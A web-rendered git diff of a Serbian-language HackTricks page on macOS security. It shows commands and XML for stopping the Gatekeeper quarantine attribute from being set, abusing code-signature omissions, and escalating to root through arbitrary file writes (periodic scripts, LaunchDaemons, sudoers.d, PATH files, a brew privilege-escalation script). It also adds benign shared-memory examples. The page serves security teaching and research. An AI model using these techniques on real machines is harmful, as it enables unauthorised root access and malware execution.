### uchg / uchange / uimmutable zastava
|
||||||
|
|
||||||
Ako datoteka/folder ima ovaj nepromenljivi atribut, neće biti moguće staviti xattr na nju.
|
Ako datoteka/folder ima ovaj atribut nepromenljivosti, neće biti moguće staviti xattr na nju.
|
||||||
```bash
|
```bash
|
||||||
echo asd > /tmp/asd
|
echo asd > /tmp/asd
|
||||||
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
|
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
|
||||||
|
@ -99,7 +99,7 @@ xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'
|
||||||
```
|
```
|
||||||
### writeextattr ACL
|
### writeextattr ACL
|
||||||
|
|
||||||
Ova ACL sprečava dodavanje `xattrs` datoteci
|
Ova ACL sprečava dodavanje `xattrs` datoteci.
|
||||||
```bash
|
```bash
|
||||||
rm -rf /tmp/test*
|
rm -rf /tmp/test*
|
||||||
echo test >/tmp/test
|
echo test >/tmp/test
|
||||||
|
@ -122,13 +122,13 @@ ls -le /tmp/test
|
||||||
```
|
```
|
||||||
### **com.apple.acl.text xattr + AppleDouble**
|
### **com.apple.acl.text xattr + AppleDouble**
|
||||||
|
|
||||||
**AppleDouble** format datoteka kopira datoteku zajedno sa njenim ACE-ovima.
|
**AppleDouble** format datoteke kopira datoteku zajedno sa svojim ACE-ovima.
|
||||||
|
|
||||||
U [**izvornom kodu**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) moguće je videti da se ACL tekstualna reprezentacija čuva unutar xattr-a nazvanog **`com.apple.acl.text`** i postavlja se kao ACL u dekompresovanoj datoteci. Dakle, ako ste kompresovali aplikaciju u zip datoteku sa **AppleDouble** formatom datoteke sa ACL-om koji sprečava pisanje drugih xattr-ova u nju... karantinski xattr nije postavljen u aplikaciju:
|
U [**izvornom kodu**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) moguće je videti da se ACL tekstualna reprezentacija čuva unutar xattr-a nazvanog **`com.apple.acl.text`** i postavlja se kao ACL u dekompresovanoj datoteci. Dakle, ako ste kompresovali aplikaciju u zip datoteku sa **AppleDouble** formatom datoteke sa ACL-om koji sprečava pisanje drugih xattr-ova u nju... karantinski xattr nije postavljen u aplikaciju:
|
||||||
|
|
||||||
Proverite [**originalni izveštaj**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) za više informacija.
|
Proverite [**originalni izveštaj**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) za više informacija.
|
||||||
|
|
||||||
Da biste replicirali ovo, prvo morate dobiti tačan ACL string:
|
Da biste replicirali ovo, prvo moramo dobiti tačan ACL string:
|
||||||
```bash
|
```bash
|
||||||
# Everything will be happening here
|
# Everything will be happening here
|
||||||
mkdir /tmp/temp_xattrs
|
mkdir /tmp/temp_xattrs
|
||||||
|
@ -146,9 +146,9 @@ ditto -c -k del test.zip
|
||||||
ditto -x -k --rsrc test.zip .
|
ditto -x -k --rsrc test.zip .
|
||||||
ls -le test
|
ls -le test
|
||||||
```
|
```
|
||||||
(Napomena da čak i ako ovo radi, sandbox upisuje karantin xattr pre)
|
(Notea da čak i ako ovo funkcioniše, sandbox upisuje karantinski xattr pre)
|
||||||
|
|
||||||
Nije baš potrebno, ali ostavljam to tamo, samo u slučaju:
|
Nije baš potrebno, ali ostavljam to tamo samo u slučaju:
|
||||||
|
|
||||||
{% content-ref url="macos-xattr-acls-extra-stuff.md" %}
|
{% content-ref url="macos-xattr-acls-extra-stuff.md" %}
|
||||||
[macos-xattr-acls-extra-stuff.md](macos-xattr-acls-extra-stuff.md)
|
[macos-xattr-acls-extra-stuff.md](macos-xattr-acls-extra-stuff.md)
|
||||||
|
@ -156,9 +156,9 @@ Nije baš potrebno, ali ostavljam to tamo, samo u slučaju:
|
||||||
|
|
||||||
## Zaobilaženje Koda Potpisa
|
## Zaobilaženje Koda Potpisa
|
||||||
|
|
||||||
Bundles sadrže datoteku **`_CodeSignature/CodeResources`** koja sadrži **hash** svake pojedinačne **datoteke** u **bundle**-u. Napomena da je hash CodeResources-a takođe **ugrađen u izvršnu datoteku**, tako da s tim ne možemo manipulisati.
|
Bundles sadrže datoteku **`_CodeSignature/CodeResources`** koja sadrži **hash** svake pojedinačne **datoteke** u **bundle**-u. Imajte na umu da je hash CodeResources-a takođe **ugrađen u izvršnu datoteku**, tako da s tim ne možemo manipulisati.
|
||||||
|
|
||||||
Međutim, postoje neke datoteke čiji potpis neće biti proveren, one imaju ključ omit u plist-u, kao što su:
|
Međutim, postoje neke datoteke čji potpis neće biti proveren, one imaju ključ za izostavljanje u plist-u, kao što je:
|
||||||
```xml
|
```xml
|
||||||
<dict>
|
<dict>
|
||||||
...
|
...
|
||||||
|
@ -208,7 +208,7 @@ openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/
|
||||||
```
|
```
|
||||||
## Montiranje dmg datoteka
|
## Montiranje dmg datoteka
|
||||||
|
|
||||||
Korisnik može montirati prilagođenu dmg datoteku čak i preko nekih postojećih fascikli. Evo kako biste mogli kreirati prilagođeni dmg paket sa prilagođenim sadržajem:
|
Korisnik može montirati prilagođenu dmg datoteku čak i preko nekih postojećih fascikli. Evo kako možete kreirati prilagođeni dmg paket sa prilagođenim sadržajem:
|
||||||
```bash
|
```bash
|
||||||
# Create the volume
|
# Create the volume
|
||||||
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
|
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
|
||||||
|
@ -231,20 +231,20 @@ hdiutil create -srcfolder justsome.app justsome.dmg
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
Obično macOS montira disk razgovarajući sa `com.apple.DiskArbitrarion.diskarbitrariond` Mach servisom (koji pruža `/usr/libexec/diskarbitrationd`). Ako dodate parametar `-d` u LaunchDaemons plist datoteku i ponovo pokrenete, ona će čuvati logove u `/var/log/diskarbitrationd.log`.\
|
Obično macOS montira disk razgovarajući sa `com.apple.DiskArbitrarion.diskarbitrariond` Mach servisom (koji pruža `/usr/libexec/diskarbitrationd`). Ako dodate parametar `-d` u LaunchDaemons plist fajl i ponovo pokrenete, on će čuvati logove u `/var/log/diskarbitrationd.log`.\
|
||||||
Međutim, moguće je koristiti alate poput `hdik` i `hdiutil` za direktnu komunikaciju sa `com.apple.driver.DiskImages` kextom.
|
Međutim, moguće je koristiti alate poput `hdik` i `hdiutil` da komunicirate direktno sa `com.apple.driver.DiskImages` kextom.
|
||||||
|
|
||||||
## Proizvoljni upisi
|
## Proizvoljni upisi
|
||||||
|
|
||||||
### Periodični sh skriptovi
|
### Periodični sh skriptovi
|
||||||
|
|
||||||
Ako vaša skripta može biti interpretirana kao **shell skripta** možete prepisati **`/etc/periodic/daily/999.local`** shell skriptu koja će biti pokrenuta svakog dana.
|
Ako vaša skripta može biti tumačena kao **shell skripta** možete prebrisati **`/etc/periodic/daily/999.local`** shell skriptu koja će biti pokrenuta svakog dana.
|
||||||
|
|
||||||
Možete **falsifikovati** izvršenje ove skripte sa: **`sudo periodic daily`**
|
Možete **falsifikovati** izvršenje ove skripte sa: **`sudo periodic daily`**
|
||||||
|
|
||||||
### Demoni
|
### Demoni
|
||||||
|
|
||||||
Napišite proizvoljni **LaunchDaemon** poput **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** sa plist datotekom koja izvršava proizvoljnu skriptu poput:
|
Napišite proizvoljni **LaunchDaemon** poput **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** sa plist-om koji izvršava proizvoljnu skriptu kao:
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
|
@ -261,21 +261,19 @@ Napišite proizvoljni **LaunchDaemon** poput **`/Library/LaunchDaemons/xyz.hackt
|
||||||
</dict>
|
</dict>
|
||||||
</plist>
|
</plist>
|
||||||
```
|
```
|
||||||
### Generisanje skripte `/Applications/Scripts/privesc.sh` sa **komandama** koje želite da pokrenete kao root.
|
### Sudoers File
|
||||||
|
|
||||||
### Datoteka Sudoers
|
Ako imate **proizvoljan zapis**, možete kreirati fajl unutar foldera **`/etc/sudoers.d/`** dodeljujući sebi **sudo** privilegije.
|
||||||
|
|
||||||
Ako imate **proizvoljan zapis**, možete kreirati datoteku unutar fascikle **`/etc/sudoers.d/`** koja vam dodeljuje **sudo** privilegije.
|
### PATH fajlovi
|
||||||
|
|
||||||
### Putanje datoteka
|
Fajl **`/etc/paths`** je jedno od glavnih mesta koje popunjava PATH env promenljivu. Morate biti root da biste ga prepisali, ali ako skripta iz **privilegovanog procesa** izvršava neku **komandu bez punog puta**, možda ćete moći da je **preuzmete** modifikujući ovaj fajl.
|
||||||
|
|
||||||
Datoteka **`/etc/paths`** je jedno od glavnih mesta koje popunjava promenljivu okruženja PATH. Morate biti root da biste je prepisali, ali ako skripta iz **privilegovanog procesa** izvršava neku **komandu bez punog puta**, možda ćete moći da je **preuzmete** modifikujući ovu datoteku.
|
Takođe možete pisati fajlove u **`/etc/paths.d`** da učitate nove foldere u `PATH` env promenljivu.
|
||||||
|
|
||||||
Takođe možete pisati datoteke u **`/etc/paths.d`** da učitate nove fascikle u promenljivu okruženja `PATH`.
|
## Generišite fajlove sa dozvolom pisanja kao drugi korisnici
|
||||||
|
|
||||||
## Generisanje datoteka sa dozvolom pisanja kao drugi korisnici
|
Ovo će generisati fajl koji pripada root-u koji je moguće pisati od strane mene ([**kod odavde**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew\_lpe.sh)). Ovo takođe može raditi kao privesc:
|
||||||
|
|
||||||
Ovo će generisati datoteku koja pripada root-u i koju mogu da pišem ja ([**kod odavde**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew\_lpe.sh)). Ovo takođe može raditi kao privesc:
|
|
||||||
```bash
|
```bash
|
||||||
DIRNAME=/usr/local/etc/periodic/daily
|
DIRNAME=/usr/local/etc/periodic/daily
|
||||||
|
|
||||||
|
@ -287,6 +285,112 @@ MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDont
|
||||||
FILENAME=$(ls "$DIRNAME")
|
FILENAME=$(ls "$DIRNAME")
|
||||||
echo $FILENAME
|
echo $FILENAME
|
||||||
```
|
```
|
||||||
|
## POSIX Deljena memorija
|
||||||
|
|
||||||
|
**POSIX deljena memorija** omogućava procesima u operativnim sistemima koji su u skladu sa POSIX standardom da pristupe zajedničkom memorijskom prostoru, olakšavajući bržu komunikaciju u poređenju sa drugim metodama međuprocesne komunikacije. Uključuje kreiranje ili otvaranje objekta deljene memorije pomoću `shm_open()`, postavljanje njegove veličine pomoću `ftruncate()`, i mapiranje u prostor adresa procesa pomoću `mmap()`. Procesi mogu direktno čitati i pisati u ovaj memorijski prostor. Za upravljanje konkurentnim pristupom i sprečavanje korupcije podataka, često se koriste mehanizmi sinhronizacije poput meksičkih bravica ili semafora. Na kraju, procesi odjavljuju i zatvaraju deljenu memoriju pomoću `munmap()` i `close()`, i opciono uklanjaju objekat memorije pomoću `shm_unlink()`. Ovaj sistem je posebno efikasan za efikasnu, brzu IPC u okruženjima gde više procesa treba brzo pristupiti deljenim podacima.
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Primer koda proizvođača</summary>
|
||||||
|
```c
|
||||||
|
// gcc producer.c -o producer -lrt
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <sys/mman.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
const char *name = "/my_shared_memory";
|
||||||
|
const int SIZE = 4096; // Size of the shared memory object
|
||||||
|
|
||||||
|
// Create the shared memory object
|
||||||
|
int shm_fd = shm_open(name, O_CREAT | O_RDWR, 0666);
|
||||||
|
if (shm_fd == -1) {
|
||||||
|
perror("shm_open");
|
||||||
|
return EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Configure the size of the shared memory object
|
||||||
|
if (ftruncate(shm_fd, SIZE) == -1) {
|
||||||
|
perror("ftruncate");
|
||||||
|
return EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Memory map the shared memory
|
||||||
|
void *ptr = mmap(0, SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, shm_fd, 0);
|
||||||
|
if (ptr == MAP_FAILED) {
|
||||||
|
perror("mmap");
|
||||||
|
return EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Write to the shared memory
|
||||||
|
sprintf(ptr, "Hello from Producer!");
|
||||||
|
|
||||||
|
// Unmap and close, but do not unlink
|
||||||
|
munmap(ptr, SIZE);
|
||||||
|
close(shm_fd);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Primer potrošačkog koda</summary>
|
||||||
|
```c
|
||||||
|
// gcc consumer.c -o consumer -lrt
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <sys/mman.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
const char *name = "/my_shared_memory";
|
||||||
|
const int SIZE = 4096; // Size of the shared memory object
|
||||||
|
|
||||||
|
// Open the shared memory object
|
||||||
|
int shm_fd = shm_open(name, O_RDONLY, 0666);
|
||||||
|
if (shm_fd == -1) {
|
||||||
|
perror("shm_open");
|
||||||
|
return EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Memory map the shared memory
|
||||||
|
void *ptr = mmap(0, SIZE, PROT_READ, MAP_SHARED, shm_fd, 0);
|
||||||
|
if (ptr == MAP_FAILED) {
|
||||||
|
perror("mmap");
|
||||||
|
return EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Read from the shared memory
|
||||||
|
printf("Consumer received: %s\n", (char *)ptr);
|
||||||
|
|
||||||
|
// Cleanup
|
||||||
|
munmap(ptr, SIZE);
|
||||||
|
close(shm_fd);
|
||||||
|
shm_unlink(name); // Optionally unlink
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
```
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## macOS Čuvani deskriptori
|
||||||
|
|
||||||
|
**macOS čuvani deskriptori** su sigurnosna funkcija uvedena u macOS-u kako bi se poboljšala sigurnost i pouzdanost operacija sa **deskriptorima datoteka** u korisničkim aplikacijama. Ovi čuvani deskriptori pružaju način da se povežu određena ograničenja ili "čuvari" sa deskriptorima datoteka, koje sprovodi jezgro.
|
||||||
|
|
||||||
|
Ova funkcija je posebno korisna za sprečavanje određenih klasa sigurnosnih ranjivosti kao što su **neovlašćen pristup datotekama** ili **trke uslova**. Ove ranjivosti se javljaju kada na primer jedna nit pristupa deskripciji datoteke dajući **drugoj ranjivoj niti pristup nad njom** ili kada deskriptor datoteke **nasleđuje** ranjiv deteći proces. Neke funkcije povezane sa ovom funkcionalnošću su:
|
||||||
|
|
||||||
|
* `guarded_open_np`: Otvori FD sa čuvarom
|
||||||
|
* `guarded_close_np`: Zatvori ga
|
||||||
|
* `change_fdguard_np`: Promeni čuvarske zastave na deskriptoru (čak i uklanjanje zaštite čuvara)
|
||||||
|
|
||||||
## Reference
|
## Reference
|
||||||
|
|
||||||
* [https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/)
|
* [https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/)
|
||||||
|
@ -295,9 +399,9 @@ echo $FILENAME
|
||||||
|
|
||||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Drugi načini podrške HackTricks-u:
|
Drugi načini da podržite HackTricks:
|
||||||
|
|
||||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
|
Loading…
Reference in a new issue